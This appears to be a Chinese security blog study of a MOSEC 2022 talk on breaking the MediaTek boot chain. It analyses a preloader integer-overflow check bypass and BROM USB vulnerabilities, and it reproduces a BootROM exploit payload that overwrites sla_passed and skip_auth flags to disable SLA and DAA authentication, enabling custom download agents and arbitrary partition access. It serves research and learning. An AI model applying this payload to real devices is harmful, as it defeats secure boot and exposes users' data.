议题学习:MOSEC2022 MediAttack - break the boot chain of MediaTek SoC

背景

前段时间MOSEC上盘古关于MTK BootROM Exploit的议题非常精彩,所以我画了一些时间对议题内容进行分析,并结合手边能找到的一些材料做了逆向分析,也感谢同事@C0ss4ck在会场拍下了完整的Slide :)

配合MOSEC官方的微博食用更佳 :)

image-20221130141500497

议题学习

MTK Based Boot flow

在进行研究之前需要搞明白MTK方案的设备的冷启动流程,议题中提供的图简洁明了:

image-20221123141303601 boot_flow

按照ARM的标准流程preloader应该是bl2

因为后面使用了preloader的洞把BROM dump出来了,所以我判断MTK的preloader应该是和BROM跑在同一个Exception Level的,即EL3,后来也找了一些资料确认了这个说法,但是不确定现在最新的SoC还是不是这样的。

Preloader部分

出漏洞的模块在preloader的USB Download模式,MTK自定义了一些命令,在这个模式下USB handshake之后可以发送DA,然后加载DA,随后就可以和DA通信读写分区什么的,类似高通的9008(进edl模式后加载FH),当然如果开启了SecurityBoot,公版的DA无法使用,需要对应签名的DA才可以。

根据大佬的议题内容可知,漏洞是一个整数溢出,是在判断读/写命令地址范围的时候出现的:

image-20221123142404496 image-20221123142423007

因为MTK的方案有很多开发板,所以基线代码基本上都很容易找到,比如使用了MT6737的香橙派-4G-IOT这个开发板(好像停产了,现存的巨贵),有个大哥把代码放github了

https://github.com/SoCXin/MT6737/tree/master/linux

根据这份代码,分析这个漏洞其实很简单了

/home/muhe/Code/MT6737/linux/bootloader/preloader/platform/mt6735/src/core/download.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int usbdl_handler(struct bldr_comport *comport, u32 hshk_tmo_ms)
{
u8 cmd;
u32 cnt = 0;

if (usbdl_check_start_command(comport, hshk_tmo_ms) == FALSE) {
printf("%s start cmd handshake timeout (%dms)\n", MOD, hshk_tmo_ms);
return -1;
}

printf("%s PASS Tool Sync Seq.\n", MOD);

/* if log is disabled, re-init log port and enable it */
if (comport->type == COM_USB && log_status() == 0) {
mtk_uart_init(UART_SRC_CLK_FRQ, CFG_LOG_BAUDRATE);
log_ctrl(1);
}

dlcomport = comport;

while (1) {
platform_wdt_kick();

usbdl_get_byte(&cmd);
if (cmd != CMD_GET_BL_VER)
usbdl_put_byte(cmd); /* echo cmd */

switch (cmd) {
case CMD_GET_BL_VER:
....

}

...

}

支持的命令也很多:

image-20221123142910268

直接定位到 static u32 usbdl_read16(bool legacy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
static u32 usbdl_read16(bool legacy)
{
u32 index;
u32 base_addr=0;
u32 len16=0;
u32 len8=0;
u16 data=0;
u32 status=0;

usbdl_get_dword(&base_addr); // [1]获取地址
usbdl_put_dword(base_addr);

usbdl_get_dword(&len16); // [2] 获取长度
usbdl_put_dword(len16);

/* check addr alignment */
if (0 != (base_addr & (2-1))) {
status = -1;
goto end;
}

/* check len */
if (0 == len16) {
status = -2;
goto end;
}

/* convert half-word(2B) length to byte length */
len8 = (len16 << 1);

/* overflow attack check */
if (len16 >= len8) {
status = -3;
goto end;
}

/* check if addr range is valid */
sec_region_check(base_addr,len8); // [3] 安全检查

if (!legacy) {
/* return status */
usbdl_put_word(status);
}

for (index = 0; index < len16; index++) { // [4] 执行读操作并返回数据
data = *(u16*)(base_addr + (index << 1));
usbdl_put_word(data);
}

end:
if(!legacy) {
/* return status */
usbdl_put_word(status);
}

return status;
}

核心逻辑还是 sec_region_check(base_addr,len8);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void sec_region_check (U32 addr, U32 len)
{
U32 ret = SEC_OK;
U32 tmp = addr + len;

/* check if it does access AHB/APB register */
if ((IO_PHYS != (addr & REGION_MASK)) || (IO_PHYS != (tmp & REGION_MASK))) {
SMSG("[%s] 0x%x Not AHB/APB Address\n", MOD, addr);
ASSERT(0);
}

if (len >= REGION_BANK) {
SMSG("[%s] Overflow\n",MOD);
ASSERT(0);
}

if (blacklist_check(addr, len)) {
SMSG("[%s] Not Allowed\n", MOD);
ASSERT(0);
}

#ifdef MTK_SECURITY_SW_SUPPORT
/* check platform security region */
if (SEC_OK != (ret = seclib_region_check(addr,len))) {
SMSG("[%s] ERR '0x%x' ADDR: 0x%x, LEN: %d\n", MOD, ret, addr, len);
ASSERT(0);
}
#endif
}

这里执行了两个检查:

  1. 判断你要操作的是不是物理外设所在的内存
  2. 判断你要操作的外设是不是在黑名单里,有部分外设不能操作
  3. 这里可能是因为方案不同,大佬PPT里的那个方案是白名单的操作,只允许操作xxx,不过不影响理解。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
REGION g_blacklist[] = {
{MSDC0_BASE, 0x10000},
{MSDC1_BASE, 0x10000},
{MSDC2_BASE, 0x10000},
{MSDC3_BASE, 0x10000},
{NFI_BASE, 0x1000},
{NFIECC_BASE, 0x1000},
};

int blacklist_check(U32 addr, U32 len)
{
int ret = 0;
unsigned int i = 0;
unsigned int blacklist_size = sizeof(g_blacklist) / sizeof(REGION);
REGION region;
region.start = (unsigned int)addr;
region.size = (unsigned int)len;

for (i = 0; i < blacklist_size; i++) {
if (is_region_overlap(&region, &(g_blacklist[i]))) {
ret = -1;
break;
}
}

return ret;
}
unsigned int is_region_overlap(REGION *region1, REGION *region2)
{
unsigned int overlap = 0;

if (region1->start + region1->size <= region2->start)
overlap = 0;
else if (region2->start + region2->size <= region1->start)
overlap = 0;
else
overlap = 1;

return overlap;
}

image-20221123143717115

这里就要祭出datasheet里的memory map

image-20221123143410104

根据memory map,利用这漏洞就可以把BROM dump出来了

BROM部分

基本分析

MTK的话BROM Exp满天飞,多搜一搜可以找到,或者按照dissecting-a-mediatek-bootrom-exploit中的办法,应该也可以,或者对于没开SecurityBoot的设备搞个mini DA进去也可以(参考这里 https://github.com/MTK-bypass/bypass_utility/blob/master/main.py#L111 )。

这里以某个SoC的BROM为例作分析,推荐使用Ghirda来做,选ARMv7就行。

1
2
3
4
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
67676 0x1085C Mediatek bootloader
72020 0x11954 SHA256 hash constants, little endian

image-20221130133517456

前面还是喜闻乐见的中断向量表,根据reset handler,能定位到类似main的位置,但是我们的目的是分析usb dl的逻辑,这里我看了下已知的文章,可以通过handshake来确定,直接暴搜一波 A0 0A 50 05,但是这里需要注意,有两个handshake,uart和usb的,需要做好区分,然后就可以定位到 process_cmd() 里了。

image-20221130133720683 image-20221130133745944

然后可以还原出来 相关标志位,如 security boot & SLA & DAA。

不过这显然不是这次的目的,这次是想找到盘古议题中提到的两个BROM的漏洞 :)

议题中的漏洞

vuln1

根据MTK的公告可知和议题内容,这个应该是那个Issue1,即 Endpoint processing vulnerability 的这枚漏洞 :)

我这里根据几个地方来确认函数位置的

  • 少的可怜的两个字符串 [USBDL] 开头的,和timeout相关
  • 根据https://github.com/chaosmaster/bypass_payloads 中,我目前这个方案的一些寄存器、函数地址来确定的,比如可以确定
1
2
3
4
5
6
void (*send_usb_response)(int, int, int) = (void*)******;
int (*(*usbdl_ptr))() = (void*)******;
*(volatile uint32_t *)(usbdl_ptr[0] + 8) = (uint32_t)usbdl_ptr[2];
void (*usbdl_get_data)() = usbdl_ptr[1];
void (*usbdl_put_data)() = usbdl_ptr[2];
void (*usbdl_flush_data)() = usbdl_ptr[3];

image-20221124194300872

  • 议题中漏洞特征

最终让我找到了这个漏洞,和我最开始预想的差不多,处理USB协议相关的逻辑,不过是在标准的流程后面

image-20221124194448445 image-20221124194503152
[TBD]vuln2

说来也比较巧合,rrr拍的图里似乎没有标题为MTK BootROM Vul #2 的slide,所以我目前还没有分析出来,只找到了一些相关的资料辅助分析:

比较有意思的是链接3里面的这份代码,看着很像古早时期的BROM源码 -.-

在usb相关的目录也找到了一些议题中提到的信息,比如CDC、data_ep_in_info,以及议题截图中一些变量命名,基本上都对的上,我猜测这应该是因为这是一种标准实现,所以延用这些命名方便分析,那么找洞的方向就有了:

  • 继续了解USB CDC
  • 找一些标准实现看看,找一些特征+已知的USB相关的一些符号判断出来相关的处理逻辑大概在哪里
  • 结合MTK的公告描述来尝试找这个漏洞(Character-formatting command vulnerability)

看了几个地方还不是很确定- -. 失败

攻击思路

基本概念

  • SLA (Serial Link Authorization): 未授权是没办法加载DA的
  • DAA (Download agent authentication): 对加载的DA做验证

当然,如果能绕过SLA,加载自定义的DA,那DAA也是可以绕过的

通过SP Flash Tool可以对设备进行读写

  • Download-Agent: 一小段程序,加载到SRAM中和Host交互,类比高通的FH
  • Scatter: 可以理解成flash的内存布局,描述每个分区的情况,如起始地址、大小、属性等
  • Authentication File & Cert File: 开启了SecurityBoot的设备需要提供,用于验证DownloadAgent是否合法

image-20221124195803394

所以,对于开了SecurityBoot的设备,就不能用公版DA了,大佬的议题中也是以开了SecurityBoot的设备为例讲的,通过前面的漏洞disable sla & daa,从而实现加载自定义的DA,然后通过这个DA来读写任意分区,从而实现加载任意代码的目的 :)

Attacking DA

image-20221130231704274

大佬在议题中对MTK的DA做了详细的介绍,这里主要涉及了

  • DA如何被加载
  • DA的执行阶段
    • stage1
    • stage2
  • 如何攻击DA实现任意分区读写

MTK的SP Flash Tool里带的这个公版DA其实是个DA的合集,SP FlashTool根据读到的chip id选对应的DA用来交互

image-20221208231817640

DA stage1
image-20221208231856888 image-20221208231928842

这里提到了一个EMI file,stage1会根据这个EMI file来初始化DRAM,既然可以从preloader里后去,那么前面的基线代码里妥妥也会有了

image-20221208231959205

当然也可以借助工具来解析出来,比如这个 https://github.com/mr-m96/MTKPreloaderParser, 相关内容就不展开了,为了理解议题内容的话,只需要了解这个东西的作用以及在哪里就行了:)

DA stage2

stage2是比较关键的内容了,它被stage1加载到了dram里执行(前面初始化dram这里要用)

image-20221208232056511

这里列举了secure enable的情况,DA的能力将受到限制,即一部分功能无法使用,作者通过之前的BROM exploit disable了daa,然后加载自己patch过的da,从而使用这个patch过的da来实现全分区的读写,以及使用da中全部的功能。

policy_part_map?

这部分感觉PPT顺序有点问题,不过也不是特别影响理解吧,主要是启动过程中对加载的镜像完整性校验相关的介绍,这块和后面大佬讲攻击流程能对上。

github随便搜了下,就能看明白这个东西了 :)

image-20221208232133500 image-20221208232141320

主要是有这么个结构体来描述对应的镜像的安全配置,是否受到保护、能不能刷这个分区等等啥的。

相关的部分代码,这是在加载镜像之前,加载这个policy,然后根据结果去对镜像做对应的操作,比如 是否应该做校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static char get_sec_policy(unsigned int policy_entry_idx)
{
4unsigned int sboot_state = 0;
4unsigned int lock_state = 0;

4unsigned char sec_policy = 0;
4unsigned int ret = 0;

4ret = get_sec_state(&sboot_state, &lock_state);
4/* this API won't return error, so we don't process it here */

4if (sboot_state == 0 && lock_state == LKS_UNLOCK)
44sec_policy = g_policy_map[policy_entry_idx].sec_sbcdis_unlock_policy;
4else if (sboot_state == 0 && lock_state != LKS_UNLOCK)
44sec_policy = g_policy_map[policy_entry_idx].sec_sbcdis_lock_policy;
4else if (sboot_state == 1 && lock_state == LKS_UNLOCK)
44sec_policy = g_policy_map[policy_entry_idx].sec_sbcen_unlock_policy;
4else if (sboot_state == 1 && lock_state != LKS_UNLOCK)
44sec_policy = g_policy_map[policy_entry_idx].sec_sbcen_lock_policy;

4return sec_policy;
}

BROM EXPLOIT

这里的话,参考dissecting-a-mediatek-bootrom-exploit 的介绍会了解的更清楚,简化一下描述就是:

  • 需要找到需要的函数、全局变量的地址

    • send_usb_response
    • usbdl_put_dword
    • usbdl_put_data
    • usbdl_get_data
    • uart_reg0
    • uart_reg1
    • sla_passed
    • skip_auth_1
    • skip_auth_2
  • exp工作流程参考 common exp,类似议题中的Vuln1

    image-20221130140148909

当然,所需要覆盖的变量也比较好找,把cmd是 0xd8CMD_GET_TARGET_CONFIG为入口就可以找到需要的东西了

image-20221130134354668 image-20221130134410683
common exp

直接参考 common exp,就行,利用漏洞获得的任意地址读写能力去覆盖

  • sla_passed
  • skip_auth_1
  • skip_auth_2

这三个变量,然后就可以加载任意da,并且禁用了daa

start.S 直接跳main函数,里面逻辑也很简单,覆盖变量,然后接收下个阶段的交互(usb handshake),方便后续加载DA啥的,交互完毕,就正常进入usbdl模式去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int main() {
send_usb_response(1,0,1);

print("Sending pattern\n");
usbdl_put_dword(0xA1A2A3A4);

*sla_passed = 1;
*skip_auth_1 = 1;
*skip_auth_2 = -1;

print("Waiting for handshake\n");

const char sequence[] = {0xA0, 0x0A, 0x50, 0x05};
unsigned char hs = 0;

for (uint32_t i = 0; i < 4; i++, hs = 0) {
usbdl_get_data(&hs, 1);

if (sequence[i] == hs) {
hs = ~hs;
usbdl_put_data(&hs, 1);
} else {
i = 0;
print("Handshake failed\n");
}

print("Handshake..\n");
}

print("Handshake completed\n");
}

MTE mode

这个模式看描述是MTK的一个特殊的测试模式,也算是一个之前没见过的攻击面

image-20221124201408856 image-20221124222151110

在这个模式下,可以做很多事情:

  • Obtain/Modify EFUSE/RPMB Info
  • Load Customized OS
  • USERDATA Decrypt
  • Obtain/Modify Hardware Key
  • Unlock Bootloader

巧了,咱手里正好有个某个MTK方案的设备的完整镜像 :-) 根据PPT中的信息,可以check下相关的逻辑

image-20221124210054040 image-20221124221837757

我这个设备没有找到相关的逻辑,应该是删除了这个模式,不过幸运的是 meta_tst 没有删除:),而且根据PPT里的内容,这个服务应该是比较核心的,MTK设计了私有协议做一些交互

image-20221124212759107

分析的难度也不大,而且有趣的是如果你在github上搜一些特定的字符串,会发现很多有意思的repo :) 这对理解一些逻辑很有帮助

image-20221124221704268

more exploit

image-20221208232231058

这没什么可说的,既然从源头破坏掉了信任链,那么自然可以做任何事 😎

基本上一些很成熟的“取证”工具都能干- 。- 比如这一篇

support-for-mediatek-devices-in-oxygen-forensic-detective

感兴趣的话可以阅读一下

后记

这次虽然过程艰辛又带着一些遗憾,不过个人起码了解了MTK方案BROM Exploit的思路,vuln#2还没找到,后面等不忙了时间多了再尝试看看好了 :)

参考

https://github.com/SoCXin/MT6737/tree/master/linux

https://github.com/chaosmaster/bypass_payloads

https://tinyhack.com/2021/01/31/dissecting-a-mediatek-bootrom-exploit/

https://www.cnblogs.com/wen123456/p/14034493.html

https://blog.csdn.net/u011784994/article/details/104898430

https://github.com/rn2/ven/blob/db95d7f096/hardware/meta/common/README

https://blog.oxygen-forensic.com/support-for-mediatek-devices-in-oxygen-forensic-detective/